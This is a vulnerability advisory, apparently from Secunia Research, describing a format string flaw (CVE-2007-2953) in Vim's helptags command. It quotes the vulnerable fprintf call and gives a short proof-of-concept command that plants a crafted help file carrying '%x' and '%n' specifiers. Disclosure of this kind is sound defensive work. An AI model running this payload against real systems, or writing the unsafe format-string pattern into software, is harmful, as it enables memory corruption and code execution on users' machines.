Secunia Research has discovered a vulnerability in Vim, which can be
exploited by malicious people to compromise a vulnerable system.


Vulnerability details:
----------------------

A format string error in the "helptags_one()" function in src/ex_cmds.c
when running the "helptags" command can be exploited to execute
arbitrary code via specially crafted help files. The "helptags" command
creates a tag file from tags surrounded by asterisks in help files, and
the part of the code that handles tags starting with the string "help-
tags" is incorrect, leading to this vulnerability.

The offending code in src/ex_cmds.c looks like this, starting from line
6353:

            s = ((char_u **)ga.ga_data)[i];
            if (STRNCMP(s, "help-tags", 9) == 0)
                /* help-tags entry was added in formatted form */
                fprintf(fd_tags, (char *)s);

Successful exploitation requires that the user is tricked into running
"helptags" on malicious data.

The vulnerability is confirmed in versions 6.4 and 7.1, as well as the
version included in Fedora Core 6. Other versions may also be affected.


Proof of Concept:
-----------------

Here is a simple PoC:

$ mkdir secunia
$ echo '*help-tags%.1111111111u%x%x%x%x%x%x%x%x%n*' > secunia/help.txt
$ vim -c 'helptags secunia/'
or
$ vim
:helptags secunia/


Closing comments:
-----------------

We have assigned this vulnerability Secunia advisory SA25941 and the CVE
identifier CVE-2007-2953.

Credits should go to:
Ulf Harnhammar, Secunia Research.